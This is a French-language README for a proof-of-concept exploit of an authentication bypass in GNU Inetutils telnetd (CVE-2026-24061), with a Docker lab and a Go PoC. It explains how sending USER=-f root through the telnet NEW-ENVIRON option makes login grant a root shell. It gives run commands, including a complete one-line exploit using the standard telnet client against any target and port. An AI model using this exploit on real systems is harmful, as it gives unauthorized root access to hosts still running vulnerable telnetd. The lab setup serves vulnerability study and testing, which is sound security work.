
Exploit de preuve de concept pour le contournement de l'authentification de telnetd de GNU Inetutils (CVE-2026-24061) avec configuration de laboratoire Docker et PoC en Go. Exploite l'option NEW-ENVIRON pour obtenir un shell root.
Sérieusement, telnet en 2026 ? Allez les gars, il est temps de passer à autre chose. SSH existe depuis 1995. 🤦
Une vulnérabilité critique de contournement d'authentification dans GNU Inetutils telnetd affectant les versions 1.9.3 à 2.7.
La vulnérabilité exploite l'option telnet NEW-ENVIRON pour injecter des arguments malveillants dans login(1). En définissant USER=-f root via le protocole telnet, un attaquant peut contourner l'authentification et obtenir un shell root sans identifiants.
Le protocole telnet prend en charge l'option NEW-ENVIRON (RFC 1572) qui permet au client d'envoyer des variables d'environnement au serveur. Le démon telnetd transmet la variable USER à login(1) comme argument.
En envoyant USER=-f root, la valeur est interprétée comme :
-f : Ignorer l'authentification (hôte de confiance)root : Utilisateur cibleCela provoque l'exécution de login -f root, accordant un accès root immédiat.
Le PoC détecte une exploitation réussie en vérifiant la présence de IAC WILL ECHO (0xff 0xfb 0x01) — le signal de protocole que le serveur envoie lorsque l'accès au shell est accordé.
# Construire et exécuter le conteneur telnetd vulnérable
docker compose up --build -d
# Tester l'exploit
go run poc.go 127.0.0.1 2323
# Utilisation du PoC Go (avec shell interactif)
go run poc.go <cible> <port>
# PoC simple utilisant le client telnet standard
env USER='-f root' telnet -a <cible> <port>
poc.go - Exploit Go avec shell interactifDockerfile - Conteneur telnetd vulnérabledocker-compose.yml - Orchestration du laboratoire